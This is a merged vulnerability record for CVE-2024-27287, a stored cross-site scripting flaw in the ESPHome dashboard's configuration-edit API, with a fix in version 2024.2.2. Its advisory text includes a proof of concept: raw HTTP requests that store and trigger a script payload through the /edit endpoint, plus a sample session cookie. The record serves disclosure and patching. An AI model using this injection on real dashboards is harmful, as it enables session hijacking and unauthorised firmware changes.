{"id":"CVE-2024-27287","aliases":["CVE-2024-27287","GHSA-9p43-hj5j-96h5","PYSEC-2026-1329"],"related":["CVE-2024-29019"],"kind":"vulnerability","state":"published","title":"ESPHome vulnerable to stored Cross-site Scripting in edit configuration file API","summary":"ESPHome is a system to control your ESP8266/ESP32 for Home Automation systems. Starting in version 2023.12.9 and prior to version 2024.2.2, editing the configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with `Content-Type: text/html; charset=UTF-8`, allowing a remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting. It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write. To trigger the XSS vulnerability, the victim must visit the page` /edit?configuration=[xss file]`. Abusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards.\nIn addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values. Version 2024.2.2 contains a patch for this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ESPHome is a system to control your ESP8266/ESP32 for Home Automation systems. Starting in version 2023.12.9 and prior to version 2024.2.2, editing the configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with `Content-Type: text/html; charset=UTF-8`, allowing a remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting. It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write. To trigger the XSS vulnerability, the victim must visit the page` /edit?configuration=[xss file]`. Abusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards.\nIn addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values. Version 2024.2.2 contains a patch for this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nEdit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS).\n\n### Credits\nSpike Reply Cybersecurity Teams\n\n### Details\nIt is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write. \n\nTo trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file].\n\n### PoC\n\nTo reproduce the issue, it is possible to perform a POST request to inject the payload:\n\nrequest:\nPOST /edit?configuration=xss.yaml HTTP/1.1\nHost: localhost:6052\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://localhost:6052/\nConnection: close\nCookie: authenticated=[replace with valid cookie]\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nContent-Length: 40\n \n<script>alert(document.cookie);</script>\n\n__________________________\n\nresponse:\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Thu, 30 Nov 2023 11:02:27 GMT\nContent-Length: 0\nConnection: close\n\nAnd subsequently trigger the XSS with a GET request to the same endpoint:\n\nrequest:\nGET /edit?configuration=xss.yaml HTTP/1.1\nHost: localhost:6052\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://localhost:6052/\nConnection: close\nCookie: authenticated=2|1:0|10:1701341719|13:authenticated|4:eWVz|0907127d7274094cc5a2490b95becf5c11fd52b8c3ee3655d65fe9fda099108c\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nContent-Length: 0\n\n________________________________\n\nresponse:\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Thu, 30 Nov 2023 11:04:12 GMT\nEtag: \"ec6c9889f5c9a6c8e9d2d5e4ce1b1a85e6e7da2b\"\nContent-Length: 40\nConnection: close\n \n<script>alert(document.cookie);</script>\n\n\n### Impact\nAbusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards.\nIn addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values.\n\n### Credits\nSpike Reply Cybersecurity Team","format":"markdown","source":"ghsa"},{"lang":"es","text":"ESPHome es un sistema para controlar su ESP8266/ESP32 para sistemas de domótica. A partir de la versión 2023.12.9 y antes de la versión 2024.2.2, la edición del archivo de configuración API en el componente del panel de ESPHome versión 2023.12.9 (instalación de línea de comando y complemento Home Assistant) proporciona datos no desinfectados con `Tipo de contenido: texto/ HTML; charset=UTF-8`, lo que permite a un usuario autenticado remoto inyectar secuencias de comandos web arbitrarias y extraer cookies de sesión mediante secuencias de comandos entre sitios. Es posible que un usuario autenticado malicioso inyecte Javascript arbitrario en archivos de configuración mediante una solicitud POST al punto final /edit; el parámetro de configuración permite especificar el archivo a escribir. Para activar la vulnerabilidad XSS, la víctima debe visitar la página ` /edit?configuration=[archivo xss]`. Al abusar de esta vulnerabilidad, un actor malintencionado podría realizar operaciones en el tablero en nombre de un usuario registrado, acceder a información confidencial, crear, editar y eliminar archivos de configuración y actualizar firmware en tableros administrados. Además de esto, las cookies no están protegidas correctamente, lo que permite la filtración de los valores de las cookies de sesión. La versión 2024.2.2 contiene un parche para este problema.","source":"nvd"}],"published":"2024-03-06T15:28:21.000Z","modified":"2026-07-07T17:57:03.701Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":">= 2023.12.9, < 2024.2.2","status":"affected"}],"vendor":"esphome","product":"esphome","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"2023.12.9","fixed":"2024.2.2","status":"affected"}],"vendor":"esphome","product":"esphome","cpe":"cpe:2.3:a:esphome:esphome:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2023.12.9","status":"affected","fixed":"2024.2.2"}],"ecosystem":"PyPI","package":"esphome","purl":"pkg:pypi/esphome","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"2023.12.9","fixed":"2024.2.2"}],"vendor":"esphome","product":"esphome","cpe":"cpe:2.3:a:esphome:esphome:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"2023.12.9","status":"affected","fixed":"2024.2.2"}],"ecosystem":"PyPI","package":"esphome","purl":"pkg:pypi/esphome","source":"pysec"}],"references":[{"url":"https://github.com/esphome/esphome/security/advisories/GHSA-9p43-hj5j-96h5","tags":["technical-description","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/esphome/esphome/commit/37d2b3c7977a4ccbec59726ca7549cb776661455","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/esphome/esphome","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/esphome","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-9p43-hj5j-96h5","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27287","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2024-03-06T20:30:07.008Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-27287","url":"https://www.cve.org/CVERecord?id=CVE-2024-27287","licence":"CVE Terms of Use","modified":"2024-08-26T14:04:49.512Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9p43-hj5j-96h5","url":"https://github.com/advisories/GHSA-9p43-hj5j-96h5","licence":"CC-BY-4.0","modified":"2026-07-07T17:57:03.701Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-27287","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27287","licence":"Public domain","modified":"2026-06-17T07:19:34.750Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1329","url":"https://osv.dev/vulnerability/PYSEC-2026-1329","licence":"CC-BY-4.0","modified":"2026-07-07T17:46:44.722Z"}],"updatedAt":"2026-11-25T22:58:37.308Z","epss":{"score":0.00681,"percentile":0.53721,"date":"2026-12-01T12:00:22.000Z"}}